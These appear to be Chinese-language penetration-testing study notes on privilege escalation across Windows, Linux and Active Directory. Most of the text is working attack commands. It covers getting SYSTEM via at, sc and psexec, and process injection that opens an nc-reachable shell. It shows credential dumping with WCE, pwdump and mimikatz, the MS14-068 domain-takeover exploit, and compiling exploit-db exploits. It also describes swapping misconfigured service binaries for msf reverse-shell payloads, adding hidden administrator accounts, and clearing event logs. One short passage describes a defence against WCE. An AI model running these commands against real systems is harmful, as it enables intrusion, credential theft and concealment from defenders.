本地提权
已实现本地权限账号登录
远程溢出
直接获得账号密码
系统账号之间的权限隔离
操作系统安全的基础
用户空间 user
内核空间 system
系统账号
用户账号登陆时获取权限密码
服务账号无需用户登录已在后台启动服务
Windows
User
Administrator:管理员具有绝大部分系统权限
System
Linux
User
‘ Root
net user test * 修改密码
net user test 查看当前账号的基本情况
Admin提权为system
系统设置管理功能
WinXP和2003提权
使用at命令将管理员账号提升至system权限
at 20:20 /interactive cmd
at ? 查看帮助 at命令主要用来做系统调度任务
at 19:34 /interactive cmd 获得系统权限
获得系统权限
使用taskmgr命令启动任务管理器
可以看到此时桌面环境进程explorer是还是管理员权限,结束该进程,然后用系统权限重新启动它
然后文件—新建任务启动explorer
因为我们使用system用户启动的explorer,此时explorer也继承了system权限。
查看账号已经是system账户了!
win7、win8提权
使用sc命令创建一个系统服务
cmd /k start 会重新启动一个cmd窗口
sc Create syscmd binPath= “cmd /K start” type= own type= interact 创建一个叫syscmd的服务
services.msc 查看系统服务,此时服务处于关闭状态
sc start syscmd 启动syscmd服务,此时就会启动一个system权限的cmd窗口
这个提权的原理就是所有的服务都会用system账号启动,因此我们创建一个服务,这个服务就会调用system账号来启动,因此这个服务就是工作在system权限之下的。
使用工具提权
SysInternal Suite工具
https://technet.microsoft.com/en-us/sysinternals/bb545027
放到/WINDOWS/system32 目录下就可在cmd中使用,可将whoami也放在该目录下方便查看权限
psexec -i -s -d cmd
-i 使用交互模式
-s 提升为system执行程序
以系统权限打开一个cmd窗口。
注入进程提权、远程控制
优点:隐蔽痕迹
pinjector.exe
http://www.tarasco.org/security/Process_Injector/ 翻墙下载
Usage:
inject.exe -l (Enumerate Credentials) 列出可以注入的进程
inject.exe -p <pid> <cmd> <port> (Inject into PID) 注入进程
pinjector.exe -l
pinjector.exe -p 664 cmd 5555
注入pid为664的进程,同时开启并监听5555端口
端口已经开始侦听
使用nc连接5555端口成功获得shell,且获得的是system权限
nc -nv 192.168.199.199 5555
抓包嗅探
windows
wirshark
Omnipeek
commview
Sinffpass(自动识别协议提取密码)
Linux
Tcpdump
Wireshark
Dsnif
dniff -i eth0
键盘记录
Keylogger
木马窃取
本地缓存密码
浏览器的缓存密码
IE浏览器
Firefox
网络密码
无线密码
http://www.nirsoft.net(密码提权的武器库)
将其保存为.rdp文件,使用工具读取明文密码
密码读取工具
windows: http://www.nirsoft.net 处下载
Linux:PwDUMP.exe 可查看密文密码
pwdump.exe localhost 查看本地密码
win密码位置C:WindowsSystem32configSAM
使用pwdump获取密文密码
使用linux下ophcrack对.pwdump进行密码破解
WCE(windows credential editor)
在kali的/usr/share/wce/
需要管理员权限
wce-universal.exe -l /-lv 显示当前登录的账号
wce-universal.exe -d 指定luid 删除
wce-universal.exe -r /-e刷新
wce-universal.exe -g计算 LM/NT hash值
wce-universal.exe -w 明文显示密码
区别: wce是直接从内存里读取密码,pwdump是从SAM文件中读取密码信息。
可以在上面命令的基础上加一个-v参数
-v 显示详情
-g 计算LM/NTLM hash 分号前面是LM hash函数计算的值,后面是NTLM hash函数计算的值。
Digest Authentication Package用来管理明文密码
-w 明文显示密码
这里有个问题需要说明一下,windows账户操作都是在下一次登录系统的时候变更的内容才会被加载到内存中,因此此时虽然设置了密码,但是当前会话并没有将密码信息加载到内存中,所以需要注销使用其它账号登录之后再切换回来就可使用wce查看到内存中加载的所有密码信息了。
对于一个多用户的机器来说,我们就可以使用wce查看到登录到这台机器上所有用户的密码。
wce-universal.exe -i 000003E4 -s Administrator:TEST-6AZUWJ8C9P:B757BF5C0D87772FAAD3B435B51404EE:7CE21F17C0AEE7FB9CEBA532D0546AD6 将LUID为000003E4的会话修改为administrator的信息,把该会话账户的用户密码全部修改为当前账户的用户名密码等。
从内存读取LM / NTLM hash
Digest Authentication Package
NTLM Security Package
Kerberos Security Package
防止WCE攻击
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsaSecurityPackages
删除:
wdigest 本地密码明文
tspkg 远程访问身份验证 密码明文
kerberos
msv1_0
schannel
pku2u
当我们删除wdigest 模块之后执行wce -w读取内存中的密码时wce找不到wdigest模块,也就无法读取密码明文,而此时wce就会尝试对系统中的各种进程尝试注入,而这种对操作系统进程的注入是具有破坏性的,因此就会导致系统奔溃。
wce默认先是使用安全模式,安全模式不会尝试对系统进行各种注入,如果安全模式读取不出密码,wce就会采取不安全模式,此时就会对系统的进程进行dll注入,因此取消wdigest安全包模块之后,强制使用 wce -w就会对系统造成破坏性的打击,lsass.exe进程就会意外终止,导致系统奔溃。
其他工具:
pwdump
fgdump
usr/share/windows-binaries/
使用方法比较简单,直接双击运行,就会在本地目录下生成dump出的信息。
mimikatz
/usr/share/mimikatz
命令:
:: 输入两个冒号进入命令提示
privilege::debug 提权
sekurlsa::logonPasswords 显示正在登录的账号的明文密码
查看进程信息。。。
运行—eventvwr打开操作系统日志
event::clear 清除系统安全日志
token::whoami
利用漏洞提权
ms11-080
Kb2592799
https://technet.microsoft.com/library/security/ms11-080
使用searchsploit 搜索漏洞
appwiz.cpl 查看已经安装的补丁程序
因python脚本需要解释器,故使用pyinstaller脚本将python转换成exe文件
https://pypi.python.org/pypi/PyInstaller/2.1
python pyinstaller –onefile 18176.py(参数)
配合pywin32使用
..python.exe pyinstaller.py –onefile 18176.py py脚本成功转换为exe可执行程序。
ms11-046
实现dos
ms14-068
在域内获得域的管理员权限
配置静态ip
dcpromo 安装与控制器 的指令
指定活动目录active directory数据库位置
指定共享系统卷的文件夹
安装完成之后服务器就变身成一台域控。
将计算机加入到域环境中
dsa.msc进入活动目录管理域
域—user—右键新建—用户
域用户密码需要满足一定的复杂度要求,至少满足四分之三原则。
接着我们就可以用刚才创建的域账号登录域中的任意一台主机。
在域控制器中的computers下可以对所有加入域的机器做同一管理操作,包括给域内的任意一台计算机设置密码删除密码登操作。
接下来我们通过一个“古老”的漏洞实现将域内的一个普通的主机的管理员提升至域管理员权限。
实现步骤
1、 ms14-068.py -u user@lab.com -s userSID -d dc.lab.com
2、 拷贝 TGT_user1@lab.com.ccache 票据到windows系统。
3、本地管理员登陆
在kali中搜索我们需要的漏洞利用代码。
查看使用户sid
SID获取方法:
1)wmic useraccount where name=”USERNAME” get sid
2)whoami /all 本机可以直接查出自己的SID;
从kali中找到的漏洞利用代码执行时缺少部分库支持,于是从github上找来了完整的漏洞执行代码以及库支持。
USAGE: ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> OPTIONS: -p <clearPassword> –rc4 <ntlmHash>
root@kali:~/pykek-master/pykek-master# python ms14-068.py -u user01@lab.com -s S-1-5-21-2532467573-3093072693-2026956463-1116 -d 192.168.199.237
在当前目录下生成了一个票据文件
使用 mimikatz.exe log”kerberos::ptc TGT_user@lab.com.ccache” exit
提权成功后访问域控制器
net use \test.lab.comadmin$
klist 列出与控制其上已经存在的用户认证信息
运行—\test@lab.comc$ 访问域控制器的C盘
拿到域控权限后,可以网络连接登录并修改域控的注册表
regedit
网络连接
/proc/pid/mem 储存内存信息
资料: http://blog.zx2c4.com/749
Ubuntu11.10(高版本已被修复)
http://old-releases.ubuntu.com/releases/11.10/
gcc
sudo apt-cdrom add && sudo apt-get install gcc
gcc 18411.c -o exp
CVE-2012-0056
/proc/pid/mem
/proc/pid/mem是一个用于读取和写入,直接通过各地寻求与相同的地址作为该进程的虚拟内存空间进程内存的接口。
kernels >=2.6.39
1.搜索漏洞利用代码
两台linux机器进行文件传输可以使用scp命令,scp会自动调用ssh进行两台机器间的文件传输。
scp /usr/share/exploitdb/exploits/linux/local/18411.c lihui@192.168.199.121:/home/lihui/
关于gcc和ssh安装的问题,需要挂载光盘镜像进行安装
编译 gcc 18411.c -o exp
执行完漏洞利用代码直接变成#号也就是root权限了。
利用配置不当提权(更常用)
因不当配置权限
与漏洞提权相比更长用的方法
企业环境
补丁更新的全部已经安装
输入变量过滤之外更值得研发关注的安全隐患
以system权限启动
NTFS权限允许users修改删除
windows
使用icacls查看权限
icacls c:windows*.exe /save perm /T 查看并保存
-T 列出当前目录以及子目录下所有文件信息
在当前目录下导出windows目录下的所有exe的NTFS权限
FA;;;BU 就是权限配置不当的程序,默认操作系统中是不存在配置不当的情况的,只有在管理员在权限配置不当的情况下才会出现。
漏洞利用:当存在权限配置不当的漏洞时,我们可以在kali上准备一个反弹的shell程序,将其进行编译成一个可执行程序,然后放到目标机器上执行从而获取反弹的shell。
安装编译环境
apt-get install mingw-w64
首先,让我们从 Exploit-db 上下载我们需要编译的 EXP:
wget ‐‐output-document= 40564.c https://www.exploit-db.com/download/40564
使用以下命令编译 Windows 32 位的 afd.sys exp:
i686-w64-mingw32-gcc [input file: source]–o [output file: .exe]–lws2_32
下面的命令编译的是 Windows 7 afd.sys 提权 exp:
i686-w64-mingw32-gcc 40564.c –o exploit.exe –lws2_32
i686-w64-mingw32-gcc -o shell.exe 18411.c
使用shell.exe 替换权限配置不当的程序就可以实现提权。
Linux
查找系统中具有富权限(777)的文件
find / -perm 777 -exec ls -l {} ;
应用系统的配置文件
连接数据库的配置文件
后台服务运行账号
基本信息收集
linux
文件
/etc/resolv.conf
/etc/passwd
/etc/shadow
命令
whoami and who –a
ifconfig -a, iptables-L -n, ifconfig –a, netstat –r
uname –a, ps aux
dpkg -l| head
windows
命令
ipconfig /all ,ipconfig /displaydns, netstat -bnao , netstat –r
net view , net view/domain
net user /domain, net user%username% /domain
net accounts, netshare
net localgroupadministrators username /add
net group “DomainControllers” /domain
net share name$=C:/unlimited
net user username/active:yes /domain
收集敏感数据
商业信息
系统信息
linux
/etc/resolv.conf dns信息
/etc/passwd
/etc/shadow
whoami and who –a
ifconfig -a, iptables -L -n 防火墙配置, ifconfig –a, netstat –r
uname –a, ps aux
dpkg -l| head 列出安装的软件包
.ssh ;.gnupg 公私钥 (隐藏目录)
The e-mail and data files
业务数据库 ;身份认证服务器数据库
/tmp
windows
ipconfig /all , ipconfig /displaydns, netstat -bnao , netstat –r
net view , net view /domain
net user /domain, net user %username% /domain
net accounts, net share
net localgroup administrators username /add
net group “Domain Controllers” /domain
net share name$=C: /unlimited
net user username /active:yes /domain
WMIC(WINDOWS MANAGEMENT INSTRUMENTATION)
wmic nicconfig get ipaddress,macaddress ip、mac
wmic computersystemget username 计算机系统用户名
wmic netlogin get name,lastlogon 最近登录的用户
wmic process get caption, executablepath,commandline
wmic process where name=“calc.exe” call terminate 终止程序
wmic os get name,servicepackmajorversion 系统版本
wmic product get name,version 查看系统中安装的软件
wmic product where name=“name” call uninstall /nointeractive 静默删除程序
wmic share get /ALL
开远程桌面
wmic /node:”machinename” path Win32_TerminalServiceSetting where AllowTSConnections=”0″ call SetAllowTSConnections”1“
wmic nteventlogget path,filename, writeable 查看系统日志信息
商业信息
系统信息
SAM数据库;注册表文件
%SYSTEMROOT%
epairSAM (sam副本)
%SYSTEMROOT%System32configRegBackSAM (副本)
业务数据库 ; 身份认证数据库
临时文件目录
UserProfileAppDataLocalMicrosoftWindowsTemporaryInternet Files
隐藏痕迹 -a
禁止在登陆界面显示新建账号
REG ADD”HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionWinLogonSpecialAccountsUserList” /v uname /T REG_DWORD/D 0
del %WINDIR%*.log /a/s/q/f
linux
history命令
chattr -i 1.txt
-i 对文件进行操作使其不能被操作和删除
日志
auth.log / secure
btmp / wtmp
lastlog / faillog
其他日志和 HIDS 等
0x01 服务路径权限可控
通常情况下,一些 Web 控件、网络客户端会在本地注册一些服务,这些服务 在开机自启动,而自启动的权限又是 SYSTEM。 在软件注册服务的时候,会在注册表中创建几个项,该项的注册表路径如下: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservices 我选择一个名为“browser”的项,查看该项下的所有值:
其中有一个 ImagePath 的名称,它的值是: “C:Program Files (x86)GatewaySSLVPNgwservice.exe” 可见它是一个 VPN 相关的服务,下面有两种提权可能:
1. 若这个注册表的修改权限当前用户可控,那就可以直接修改 ImagePath 的值, 指向到本地其他路径,获得这个服务的权限。
2. 若这个 ImagePath 所指向的目录权限可控,那么我们也可以替换 gwservice.exe,从而当服务启动的时候,就能够执行我们的shellcode程序。
第一种方法尝试失败,尝试第二种方法,使用“icacls”命令查看目录权限:
“Everyone”用户可以读写该目录下所有文件。
Ps:Everyone 代指当前主机下所有用户,包含(Guest)
提权过程
首先,Guest 用户,使用 Guest 用户登录这台机器:
使用 msf 生成一个shellcode可执行程序,替换为 gwservice.exe即可
获得会话后,注销(或重启)Guest 用户,登录管理员用户,获得 SYSTEM 权限